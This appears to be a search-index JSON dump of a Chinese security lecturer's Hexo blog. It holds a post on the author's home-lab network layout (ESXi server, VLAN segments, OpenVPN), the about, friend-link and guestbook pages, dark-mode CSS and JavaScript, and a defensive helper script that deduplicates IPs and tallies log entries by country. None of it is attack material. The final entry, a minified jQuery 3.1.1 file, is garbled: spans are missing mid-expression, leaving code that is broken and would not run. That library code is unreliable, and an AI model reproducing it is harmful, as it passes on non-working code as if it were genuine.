前言因为工作学习的关系,我家里的网络结构非常复杂,而且网线都没有标签.当有故障需要排查的时候也总是忘记网线的对端是哪里,所以今天我在这里把我的网络架构记录下来. 这篇文章只记录网络结构,接下来的两篇将记录esxi、pfsense与交换机的配置方式. 因为我从事运维工作,所以对网络安全十分重视.同时需要学习与测试一些新技术和病毒,因此我的网络架构并不适用与普通家庭,而且普通家庭也并不会花大价钱购买这些设备.但如果你住的是复式房子或别墅,则可以找一个小地方放个小机柜. 硬件与规划先放一张拓扑图: 然后是实际环境的图片: R720R720这2U的机架式服务器安装了esxi 7.0 对于10.10.20.0/24网段我主要放置了一些系统以及部分为web服务通过openvpn分享给朋友使用,所以20网段到其他网段之间是有严格的规则,此规则由爱快负责 而30网段暂时正在部署个人服务 结语其实网络结构并不复杂 在配置上也只有esxi、爱快 和交换机需要配置,其他设备只需要稍作连接即可,其实我也考虑过Pfsense,但是目前基于他的openvpn不方便管理,就暂且放弃了","categories":["生活记录","杂项"]},{"path":"/about/index.html","content":"SafeKiller Zone自我介绍建站初衷  我是SafeKiller Zone,身为一名网络安全讲师,对技术充满了无比的热爱和追求。每一天,我都致力于深入探索这个快速发展的领域,不断学习最新的安全策略和防御技术。尽管在这条道路上,我不可避免地会遇到复杂的技术难题,但正是这些挑战,激发了我解决问题的热情,也锻炼了我的技能。我始终相信,每一个问题都是一个机会,一个提升自己的机会,使我能够将学到的宝贵知识传授给我的学生们,并帮助他们在网络安全这个不断演变的领域中取得成功。 作为一名对网络安全和运维充满热情的专业人士,我创建这个博客是为了分享我的知识和经验。我希望这个网站能够帮助大家更好地理解网络安全的复杂性,并提供实用的技术指导和行业最佳实践。我热切希望我的博客能够为大家的学习和成长之路添砖加瓦。 博客发展史2019年11 月 29日接触WordPress和Centos部署博客,那时写的文章都偏向于开发和运维····2021年06 月 17日将主题换成了子比的,慢慢的更新更多的文章,水平也慢慢的变高了2022年09 月 22日由于Wordpress是MVC架构,插件也较多容易出现各种漏洞,后面就换成了Hexo博客····2024年01 月 25日争取上架尽可能全的安全运维和Web渗透的wiki···· 2023年年度总结 O1 2024年的小目标:学习技术,挣钱,完善WIKI,出更多的视频 正常 65% KR1 小成就:游戏鉴赏家 通关《博德之门3》通关《杀戮尖塔》AC20带萌新VAN《怪物猎人崛起》单刷《怪物猎人世界》米拉小姐15min左右加5min 已完成 100% KR2 小目标:完成博客的搭建和主要个性化页面设计 黑夜模式欢迎语接入音乐大量的废话 正常 60% KR-3 丰富个人博客网站(我需要更多的前端知识,迫切需要大佬) 接入赞助我……求大佬们打赏接入Steam让大家看看我傲人的游戏时长多写几篇佳作,发布技术文章。嘿!让大家看看 未完成 10% KR4 文章完成情况 后端前端测试运维论文和pptelasticsearch购物搜索的中文提示词该怎么设计?!业务实现了,效率性能呢?十年前的老网站,不入流,且不合适的拼接技术感觉没啥问题啊,哈哈哈,怎么了这是?!一个头两个大前面还堵着呢 延期 90%"},{"path":"/css/override.css","content":".page-footer .text p { text-align: center; }"},{"title":"友链","path":"/friends/index.html","content":"自是因缘而来…… 我的朋友 申请友链   和我建立的友链关系,我会经常关顾您的站点.当你满足下面的条件,你可以直接申请友链,我会及时回应你的请求.  不满足,你也可以先申请上,规矩并没有那么死.假如你的站点变成了一个僵尸站(一年以上没有动态也没有文章)或无法正常访问,我会暂时下架你的网站链接,我并不会嫌麻烦.当您的站点恢复时留言即可!  最后我希望通过博文的形式丰富自己的学习内容,在一个偏向于技术的圈子里学到更多! 大陆内能够正常访问. 有实质性原创内容的 HTTPS 站点. 合法的、非营利性、无商业广告、无木马植入. 发布过至少 10 篇原创文章,内容题材:计算机相关. 与 博主 有至少 3 次有效互动(有内容的留言或者 issue 等). 我已满足全部条件,快告诉我如何交换友链!第一步:新建Issue新建 Github Issue按照模板格式填写并提交.为了实现正常预览和提高预览速度,你需要检查提供的图片链接能正常访问,且优化图片大小第二步:添加友链等待我的审核12345"title": "SafeKiller_Zone","url": "https://jiangjiyue.github.io/","avatar": "https://wordpress-1258894728.cos.ap-beijing.myqcloud.com/202401260729165.jpg","screenshot": "https://wordpress-1258894728.cos.ap-beijing.myqcloud.com/202402061901753.png","description": "深入网络安全策略与渗透技巧,附简明Linux及Nginx运维实践,助力构建坚实防线."待管理员审核通过,添加了 active 标签后,回来刷新即可生效.同时请将本站添加到你的友链中:如果您需要更新自己的友链,请直接修改 issue 内容,大约 3 分钟内生效,无需等待博客更新. 关于交友   我认为,建立和维持健康的人际关系,需遵循以下原则:    1. 保持诚信和透明度,坦诚相见.    2. 尊重个体差异,理解每个人都有独特的价值.    3. 倾听比说更重要,了解他人需求.    4. 互相支持,特别是在对方需要帮助时.    5. 共同成长,勇于面对挑战和解决冲突.    6. 庆祝成功,共享快乐时光.    7. 维持适当界限,以保护个人隐私和空间."},{"path":"/comments/index.html","content":"留言板   你可以在这里留盐,我会找到你的,放心大胆发言,欢迎再来关顾我的小站,就怕一段时间我又消失了,请来提醒我。  当然,你可以给我提出一些更好的意见,也可以提携我走入行业深处,教会我更多编程、历史、小说、游戏等方面的知识,因为我还是个超级小白。  最后,愿来者都能有所收获!"},{"path":"/css/darkmode.css","content":"#Dark:root { --site-bg: #1c1e21; --card: #373d43; --block: #26292c; --block-border: #383d42; --block-hover: #2f3337; --alpha20: rgba(0,0,0,0.2); --alpha50: rgba(0,0,0,0.5); --alpha60: rgba(0,0,0,0.6); --alpha75: rgba(0,0,0,0.75); --alpha100: #000; --sidebar-bg: #383d42; --text: #fff; --text-p0: #fff; --text-p1: #ccc; --text-p2: #b3b3b3; --text-p3: #858585; --text-p4: #707070; --text-meta: #4d4d4d; --text-code: #ff6333; } @media screen and (max-width: 667px) { #Dark:root { --site-bg: #000; } } #Dark:root { --blur-bg: rgba(0,0,0,0.5); } #Dark .float-panel { --blur-bg: rgba(0,0,0,0.4); } #Dark .tag-plugin.tag { --theme: #ff6333; --theme-bg1: #3d1e14; --theme-bg2: #2f2522; --theme-border: #5c2d1f; --text-p0: #ffc4b3; --text-p1: #dfae9f; --text-p2: #f1997e; } #Dark .tag-plugin[color='red'] { --theme: #f44336; --theme-bg1: #3d1714; --theme-bg2: #2f2322; --theme-border: #5c231f; --text-p0: #ffb8b3; --text-p1: #dfa49f; --text-p2: #f1867e; } #Dark .tag-plugin[color='orange'] { --theme: #fa6400; --theme-bg1: #3d2514; --theme-bg2: #2f2722; --theme-border: #5c371f; --text-p0: #ffd1b3; --text-p1: #dfb99f; --text-p2: #f1ac7e; } #Dark .tag-plugin[color='yellow'] { --theme: #ffbd2b; --theme-bg1: #3d3014; --theme-bg2: #2f2b22; --theme-border: #5c491f; --text-p0: #ffe7b3; --text-p1: #dfcb9f; --text-p2: #f1cd7e; } #Dark .tag-plugin[color='green'] { --theme: #3dc550; --theme-bg1: #143d1a; --theme-bg2: #222f24; --theme-border: #1f5c27; --text-p0: #b3ffbd; --text-p1: #9fdfa8; --text-p2: #7ef18e; } #Dark .tag-plugin[color='cyan'] { --theme: #1bcdfc; --theme-bg1: #14353d; --theme-bg2: #222d2f; --theme-border: #1f4f5c; --text-p0: #b3efff; --text-p1: #9fd2df; --text-p2: #7ed9f1; } #Dark .tag-plugin[color='blue'] { --theme: #2196f3; --theme-bg1: #142b3d; --theme-bg2: #222a2f; --theme-border: #1f415c; --text-p0: #b3ddff; --text-p1: #9fc3df; --text-p2: #7ebef1; } #Dark .tag-plugin[color='purple'] { --theme: #9c27b0; --theme-bg1: #37143d; --theme-bg2: #2d222f; --theme-border: #531f5c; --text-p0: #f4b3ff; --text-p1: #d69fdf; --text-p2: #e07ef1; } #Dark .tag-plugin[color='light'] { --theme-border: #fff; --theme-bg1: #e0e0e0; --theme-bg2: #fff; --text-p0: #000; --text-p1: #111; --text-p2: #1f1f1f; --text-p3: #555; --text-code: #fff; } #Dark .tag-plugin[color='dark'] { --theme-border: #000; --theme-bg1: #1f1f1f; --theme-bg2: #111; --text-p0: #fff; --text-p1: #fff; --text-p2: #e0e0e0; --text-p3: #ddd; --text-code: #fff; } #Dark .tag-plugin[color='warning'], #Dark .tag-plugin[color='light'] { --text-p0: #000; --text-p1: #111; --text-p2: #1f1f1f; --text-p3: #555; --text-code: #fff; } #Dark .tag-plugin { --theme: var(--text-p1); --theme-border: var(--block-border); --theme-block: var(--block); --theme-codeblock: var(--block); } #Dark .social-wrap a.social:hover { box-shadow: none; } #Dark .widget-wrapper.timeline .tag-plugin.timeline .timenode .header p { color: var(--text-p2); } #Dark .widget-wrapper.timeline .tag-plugin.timeline .timenode .body { border-radius: 12px; background: var(--alpha50); box-shadow: none; } #Dark a.button.start.gradient { transition: 0.38s ease-out; position: relative; z-index: 0; background: linear-gradient(to right, #4c95fa, #38c9fa, #24f9c4, #24f9c4, #38c9fa, #4c95fa); background-size: 1000%; color: #fff; text-shadow: 0 0 1px rgba(0,0,0,0.12); animation: glow 60s linear infinite; } #Dark .wl-comment.input, #Dark .wl-comment.output{ background-color:#26292c; border-radius:0.75em; border: 1px solid transparent; } /* waline评论样式 */ #Dark .wl-count{ padding: .375em; font-weight: bold; font-size: 1.25em; color: #fff; } #Dark .cmt-body.waline{ --waline-white: #000; --waline-light-grey: #666; --waline-dark-grey: #999; /* 布局颜色 */ --waline-color: #fff; --waline-bgcolor: var(--block); --waline-bgcolor-light: #272727; --waline-border-color: #333; --waline-disable-bgcolor: #444; --waline-disable-color: #272727; /* 特殊颜色 */ --waline-bq-color: #272727; /* 其他颜色 */ --waline-info-bgcolor: #272727; --waline-info-color: #666; } #Dark .wl-user-name { color: #999; } /* 不是ai制作标识 */ #Dark #notbyai { content: url(\"/assets/website/Written-By-Human-black.png\"); }"},{"path":"/js/darkmode.js","content":"/** * 监听系统主题 * @type {MediaQueryList} */ var OSTheme = window.matchMedia('(prefers-color-scheme: dark)'); OSTheme.addListener(e => { if (window.localStorage.getItem('Theme_Mode') === 'auto') { ThemeChange('auto'); } }) /** * 自动模式 6:00-18:00-Light 18:00-6:00-Dark,开启后每三十分钟检查一次 */ const AutoMode = (htmlElement) => { var date = new Date(); var hours = date.getHours(); if (hours < 18 && hours >= 6) { document.querySelector(\"html\").id = \"Light\"; } else { document.querySelector(\"html\").id = \"Dark\"; } // if (htmlElement.id === \"Light\") { // 闪瞎你的眼模式(速度快一点的话) // htmlElement.id = \"Dark\"; // } else { htmlElement.id = \"Light\"; } } let autoTimer; /** * 修改博客主题 * @param theme 亮为light,暗为dark,自动为auto * @constructor */ const ThemeChange = (theme) => { // 清除计时器 clearInterval(autoTimer); // 抽取元素 const htmlElement = document.querySelector(\"html\"); let themeBtnIcon; try { themeBtnIcon = document.querySelector(\"#start > aside > div > footer > div > a:last-child > i\") } catch { // 元素不存在 } if (theme === 'light' || (theme === 'auto' && !OSTheme.matches)) { htmlElement.id = \"Light\"; if (themeBtnIcon) { themeBtnIcon.className = 'fa-solid fa-sun fa-spin fa-spin-reverse'; } } else { htmlElement.id = \"Dark\"; if (themeBtnIcon) { themeBtnIcon.className = 'fa-solid fa-moon fa-fade'; } } if (theme === 'auto') { if (themeBtnIcon) { themeBtnIcon.className = 'fa-solid fa-circle-half-stroke fa-flip'; } AutoMode(htmlElement); autoTimer = setInterval(function () { AutoMode(htmlElement); }, 1000 * 60 * 30); // 半小时一次 } window.localStorage.setItem('Theme_Mode', theme); } /** * 初始化博客主题 */ switch (window.localStorage.getItem('Theme_Mode')) { case 'light': ThemeChange('light'); break; case 'dark': ThemeChange('dark'); break; default: ThemeChange('auto'); } /** * 切换主题模式 */ // 绑定按钮点击事件 try { document.querySelector(\"#start > aside > div > footer > div > a:last-child\").onclick = () => { if (window.localStorage.getItem('Theme_Mode') === 'auto') { hud.toast('🌞白天模式'); ThemeChange('light'); } else if (window.localStorage.getItem('Theme_Mode') === 'light') { hud.toast('🌙 夜间模式'); ThemeChange('dark'); } else { hud.toast('🌞/🌙 自动模式'); ThemeChange('auto'); } } } catch { // 元素不存在 }"},{"path":"/tools/script.js","content":"function removeDuplicates() { // 从 input框 获取内容 var input = document.getElementsByClassName('input')[0]; var output = document.getElementsByClassName('output')[0]; var content = input.value.trim(); // 移除内容前后的空白 // 假设内容为逐行分隔的值,先将其分割成数组,并移除空行 var contentArray = content.split(' ').filter(item => item.trim() !== ''); // 移除非IP行,使用正则表达式匹配标准的IPv4地址 var ipRegex = /^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/; var validContentArray = contentArray.filter(item => ipRegex.test(item)); // 计算去重前的数据量 var beforeCount = validContentArray.length; // 使用 Set 去除数组中的重复项 var uniqueContentArray = [...new Set(validContentArray)]; // 计算去重后的数据量 var afterCount = uniqueContentArray.length; // 计算去重的数据量 var removedCount = beforeCount - afterCount; // 生成更新信息 var updateInfo = `去重前的数据量: ${beforeCount} 去重后的数据量: ${afterCount} 去重的数据量: ${removedCount} `; // 将去重后的数组内容再次转换为逐行分隔的字符串 var uniqueContent = uniqueContentArray.join(' '); // 更新 output 的内容,加上去重信息 output.value = updateInfo + uniqueContent; } function sumOccurrencesByCountry() { const countryList = [ '阿富汗', '阿尔巴尼亚', '阿尔及利亚', '安道尔', '安哥拉', '安提瓜和巴布达', '阿根廷', '亚美尼亚', '澳大利亚', '奥地利', '阿塞拜疆', '巴哈马', '巴林', '孟加拉国', '巴巴多斯', '白俄罗斯', '比利时', '伯利兹', '贝宁', '不丹', '玻利维亚', '波黑', '博茨瓦纳', '巴西', '文莱', '保加利亚', '布基纳法索', '布隆迪', '柬埔寨', '喀麦隆', '加拿大', '佛得角', '中非', '乍得', '智利', '中国', '哥伦比亚', '科摩罗', '刚果(布)', '刚果(金)', '哥斯达黎加', '克罗地亚', '古巴', '塞浦路斯', '捷克', '丹麦', '吉布提', '多米尼克', '多米尼加', '东帝汶', '厄瓜多尔', '埃及', '萨尔瓦多', '赤道几内亚', '厄立特里亚', '爱沙尼亚', '斯威士兰', '埃塞俄比亚', '斐济', '芬兰', '法国', '加蓬', '冈比亚', '格鲁吉亚', '德国', '加纳', '希腊', '格林纳达', '危地马拉', '几内亚', '几内亚比绍', '圭亚那', '海地', '洪都拉斯', '匈牙利', '冰岛', '印度', '印度尼西亚', '伊朗', '伊拉克', '爱尔兰', '以色列', '意大利', '牙买加', '日本', '约旦', '哈萨克斯坦', '肯尼亚', '基里巴斯', '韩国', '科威特', '吉尔吉斯斯坦', '老挝', '拉脱维亚', '黎巴嫩', '莱索托', '利比里亚', '利比亚', '列支敦士登', '立陶宛', '卢森堡', '马达加斯加', '马拉维', '马来西亚', '马尔代夫', '马里', '马耳他', '马绍尔群岛', '毛里塔尼亚', '毛里求斯', '墨西哥', '密克罗尼西亚', '摩尔多瓦', '摩纳哥', '蒙古', '黑山', '摩洛哥', '莫桑比克', '缅甸', '纳米比亚', '瑙鲁', '尼泊尔', '荷兰', '新西兰', '尼加拉瓜', '尼日尔', '尼日利亚', '北马其顿', '挪威', '阿曼', '巴基斯坦', '帕劳', '巴勒斯坦', '巴拿马', '巴布亚新几内亚', '巴拉圭', '秘鲁', '菲律宾', '波兰', '葡萄牙', '卡塔尔', '罗马尼亚', '俄罗斯', '卢旺达', '圣基茨和尼维斯', '圣卢西亚', '圣文森特和格林纳丁斯', '萨摩亚', '圣马力诺', '圣多美和普林西比', '沙特阿拉伯', '塞内加尔', '塞尔维亚', '塞舌尔', '塞拉利昂', '新加坡', '斯洛伐克', '斯洛文尼亚', '所罗门群岛', '索马里', '南非', '南苏丹', '西班牙', '斯里兰卡', '苏丹', '苏里南', '瑞典', '瑞士', '叙利亚', '塔吉克斯坦', '坦桑尼亚', '泰国', '多哥', '汤加', '特立尼达和多巴哥', '突尼斯', '土耳其', '土库曼斯坦', '图瓦卢', '乌干达', '乌克兰', '阿联酋', '英国', '美国', '乌拉圭', '乌兹别克斯坦', '瓦努阿图', '梵蒂冈', '委内瑞拉', '越南', '也门', '赞比亚', '津巴布韦', '亚太地区', '欧盟' ]; const countryOccurrences = {}; // 获取输入文本框 var input = document.getElementsByClassName('input')[0]; // 处理输入内容 var content = input.value.trim(); var lines = content.split(' ').map(item => item.trim()); // 将输入文本按行分割并移除每行前后的空白 lines = lines.filter(line => line !== ''); // 去除空行 lines.shift(); // 删除第一行 // 遍历每行数据 lines.forEach(line => { var matchingCountry = countryList.find(country => line.includes(country)); // 在国家列表中查找与国家名称匹配的国家 if (matchingCountry) { if (!countryOccurrences[matchingCountry]) { countryOccurrences[matchingCountry] = 0; } countryOccurrences[matchingCountry]++; // 统计国家出现的次数 } else { // 如果没有匹配到任何国家,那么将其归类到'其他' var otherKey = '其他'; if (!countryOccurrences[otherKey]) { countryOccurrences[otherKey] = 0; } countryOccurrences[otherKey]++; } }); // 将结果转换成字符串形式并显示 var output = Object.entries(countryOccurrences) .sort((a, b) => b[1] - a[1]) // 按出现次数降序排序 .map(([country, count]) => `${country}\\t${count}`) .join(' '); // 获取输出文本框并将结果赋值 var resultOutput = document.getElementsByClassName('output')[0]; resultOutput.value = output; } function formatThreats() { var input = document.getElementsByClassName('input')[0]; var output = document.getElementsByClassName('output')[0]; // 分割输入成单行 var content = input.value.trim(); // 移除内容前后的空白 var lines = content.split(' ').map(item => item.trim()); // 移除每个元素前后的空白 lines = lines.filter(line => line !== ''); // 去除空行 console.log(lines) // 将每行数据转换为描述文本 var descriptions = lines.map((line, index) => { // 分割行为事件和次数 var parts = line.split('\\t'); var threat = parts[0].trim(); var count = parseInt(parts[1], 10); // 格式化描述,最后一个事件后面不加顿号 return `${threat} ${count}次${index < lines.length - 1 ? '、' : ''}`; }); // 移除最后一个顿号 var result = descriptions.join(''); if (result.endsWith('、')) { result = result.slice(0, -1); } output.value = result; // 将结果输出到输出框 } function parseIpAndOutput() { var input = document.getElementsByClassName('input')[0]; var output = document.getElementsByClassName('output')[0]; // 定义输出文本区域 var outputText = ''; // 分割输入文本为多行 var lines = input.value.split(' '); // 遍历每一行 lines.forEach(function (line) { // 使用正则表达式匹配IP地址和端口号 var match = line.match(/([\\d.]+)\\s+(\\d+)/); if (match) { // 获取IP地址和端口号 var ip = match[1]; var port = match[2]; // 格式化为'IP:端口'的形式 var result = ip + ':' + port; // 添加到输出文本 outputText += result + ' '; } }); // 将结果写入输出文本区域 output.value = outputText; } function generateTable() { var input = document.getElementsByClassName('input')[0]; var output = document.getElementsByClassName('output')[0]; // 解析JSON数据 var jsonData = JSON.parse(input.value); // 获取日期数据 var dates = jsonData.data.dataName; // 获取外部攻击数据 var externalAttacks = jsonData.data.dataValue[0].value; // 获取入侵主机数据 var intrusionHosts = jsonData.data.dataValue[1].value; // 创建表格头部 var table = \"时间\\t外部攻击\\t入侵主机 \"; // 遍历日期数据并生成表格内容 for (var i = 0; i < dates.length; i++) { var row = dates[i] + \"\\t\" + externalAttacks[i] + \"\\t\" + intrusionHosts[i] + \" \"; table += row; } output.value = table; } $(document).ready(function () { // 使用事件委托简化代码 $('.button-group').on('click', 'button.insert-btn', function () { var pattern = $(this).data('pattern'); insertText(pattern); }); // 将插入文本的逻辑抽象到一个函数中 function insertText(text) { var textarea = $('.output')[0]; // 选择第一个匹配的textarea元素 // 标准浏览器及IE9+ if (textarea.selectionStart || textarea.selectionStart === '0') { var startPos = textarea.selectionStart; var endPos = textarea.selectionEnd; textarea.value = textarea.value.substring(0, startPos) + text + textarea.value.substring(endPos, textarea.value.length); textarea.focus(); textarea.selectionStart = startPos + text.length; textarea.selectionEnd = startPos + text.length; // IE8及以下 } else if (document.selection) { textarea.focus(); var sel = document.selection.createRange(); sel.text = text; textarea.focus(); } else { textarea.value += text; textarea.focus(); } } // 绑定测试匹配按钮的点击事件 $('.parseIpAndOutput').click(parseIpAndOutput); // 周报 $('.generateTable').click(generateTable); $('.sumOccurrencesByCountry').click(sumOccurrencesByCountry); $('.formatThreats').click(formatThreats); $('.removeDuplicates').click(removeDuplicates); });"},{"title":"蓝队小工具-Kill3r","path":"/tools/index.html","content":"正则匹配周报其他功能取值按钮组转义按钮组匹配按钮组 取IP 取端口 取纯数字 取非空白 取所有字符 < > ( ) [ ] { } - : ; ' \" , . / 所有字符 空白 多空白 多非空白 多字母 多非字母 多数字 多非数字 日期JSON转换 地区聚合 字符格式化 IP去重 IP格式化 推荐直接把原始日志复制到文本框采用选中替换方式比较方便。"},{"path":"/tools/style.css","content":"/* 按钮组样式 */ .button-group { margin-bottom: 20px; } button { background-color: #008CBA; /* 按钮背景颜色 */ color: white; /* 文字颜色 */ padding: 10px 15px; /* 内边距 */ border: none; /* 去除边框 */ border-radius: 5px; /* 圆角边框 */ cursor: pointer; /* 鼠标悬停时的光标形状 */ font-size: 16px; /* 文字大小 */ margin: 5px; /* 外边距 */ transition: background 0.3s; /* 过渡效果 */ } button:hover { background-color: #005f73; /* 按钮悬停时的背景颜色 */ } /* 文本域样式 */ .output, .input { width: calc(100% - 40px); /* 宽度为100%,减去padding */ margin-bottom: 20px; padding: 10px; /* 内边距 */ border: 1px solid #ddd; /* 边框 */ border-radius: 5px; /* 圆角边框 */ font-size: 16px; /* 字体大小 */ background-color: #fff; /* 背景颜色 */ resize: vertical; /* 只允许垂直缩放 */ } .output[contenteditable=\"true\"], .input[contenteditable=\"true\"] { height: 200px; /* 设置高度 */ overflow-y: scroll; /* 添加滚动条 */ outline: none; /* 移除焦点时的边框 */ -webkit-user-modify: read-write; /* 允许编辑 */ }"},{"path":"/tools/jquery-3.1.1.min.js","content":"/*! jQuery v3.1.1 | (c) jQuery Foundation | jquery.org/license */ !function(a,b){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error(\"jQuery requires a window with a document\");return b(a)}:b(a)}(\"undefined\"!=typeof window?window:this,function(a,b){\"use strict\";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement(\"script\");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q=\"3.1.1\",r=function(a,b){return new r.fn.init(a,b)},s=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a1?(c=[a,a,\"\",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,\"$1\"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||\"\")||ga.error(\"unsupported lang: \"+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute(\"xml:lang\")||b.getAttribute(\"lang\"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+\"-\");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&!!a.checked||\"option\"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=\":not(\"+a+\")\"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if(\"string\"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b]*|#([\\w-]+))$/,G=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||E,\"string\"==typeof a){if(e=\"\"===a[a.length-1]&&a.length>=3?[null,a,null]:F.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),B.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};G.prototype=r.fn,E=r(d);var H=/^(?:parents|prev(?:Until|All))/,I={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a1&&(I[a]||r.uniqueSort(e),H.test(a)&&e.reverse()),this.pushStack(e)}});var K=/[^\\x20\\t\\r \\f]+/g;function L(a){var b={};return r.each(a.match(K)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a=\"string\"==typeof a?L(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c=\"\",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=\"\"),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function M(a){return a}function N(a){throw a}function O(a,b,c){var d;try{a&&r.isFunction(d=a.promise)?d.call(a).done(b).fail(c):a&&r.isFunction(d=a.then)?d.call(a,b,c):b.call(void 0,a)}catch(a){c.call(void 0,a)}}r.extend({Deferred:function(b){var c=[[\"notify\",\"progress\",r.Callbacks(\"memory\"),r.Callbacks(\"memory\"),2],[\"resolve\",\"done\",r.Callbacks(\"once memory\"),r.Callbacks(\"once memory\"),0,\"resolved\"],[\"reject\",\"fail\",r.Callbacks(\"once memory\"),r.Callbacks(\"once memory\"),1,\"rejected\"]],d=\"pending\",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},\"catch\":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+\"With\"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==N&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:M,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:M)),c[2][3].add(g(0,a,r.isFunction(d)?d:N))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+\"With\"](this===f?void 0:this,arguments),this},f[b[0]+\"With\"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b0||Q.resolveWith(d,[r]))}}),r.ready.then=Q.then;function R(){d.removeEventListener(\"DOMContentLoaded\",R), a.removeEventListener(\"load\",R),r.ready()}\"complete\"===d.readyState||\"loading\"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener(\"DOMContentLoaded\",R),a.addEventListener(\"load\",R));var S=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if(\"object\"===r.type(c)){e=!0;for(h in c)S(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){W.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||\"fx\")+\"queue\",d=V.get(a,b),c&&(!d||r.isArray(c)?d=V.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||\"fx\";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};\"inprogress\"===e&&(e=c.shift(),d--),e&&(\"fx\"===b&&c.unshift(\"inprogress\"),delete 